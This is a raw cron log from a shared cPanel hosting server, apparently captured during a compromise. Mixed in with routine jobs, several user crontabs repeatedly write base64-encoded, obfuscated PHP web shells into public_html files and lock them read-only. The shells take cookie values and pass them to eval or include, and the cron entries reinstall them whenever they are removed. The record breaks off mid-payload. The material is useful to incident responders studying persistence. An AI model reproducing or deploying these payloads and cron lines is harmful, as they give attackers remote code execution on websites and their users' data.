Apr 19 07:37:01 medusa CROND[3156]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:37:01 medusa CROND[3158]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:37:01 medusa CROND[3157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:37:01 medusa CROND[3160]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:37:01 medusa CROND[3162]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:37:01 medusa CROND[3164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:37:01 medusa CROND[3165]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:37:01 medusa CROND[3163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:38:02 medusa CROND[27867]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:38:02 medusa CROND[27868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:38:02 medusa CROND[27869]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:38:02 medusa CROND[27870]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:38:02 medusa CROND[27873]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:38:02 medusa CROND[27875]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:38:02 medusa CROND[27876]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:38:02 medusa CROND[27881]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:38:02 medusa CROND[27874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:38:02 medusa CROND[27882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:38:02 medusa CROND[27883]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:38:02 medusa CROND[27884]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:38:02 medusa CROND[27887]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:39:01 medusa CROND[19813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:39:01 medusa CROND[19897]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 07:39:01 medusa CROND[19898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:39:01 medusa CROND[19900]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:39:01 medusa CROND[19903]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:39:01 medusa CROND[19904]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:39:01 medusa CROND[19902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:39:01 medusa CROND[19908]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:39:01 medusa CROND[19911]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:39:01 medusa CROND[19912]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:39:01 medusa CROND[19917]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:39:01 medusa CROND[19932]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:39:01 medusa CROND[19933]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:39:01 medusa CROND[19936]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiA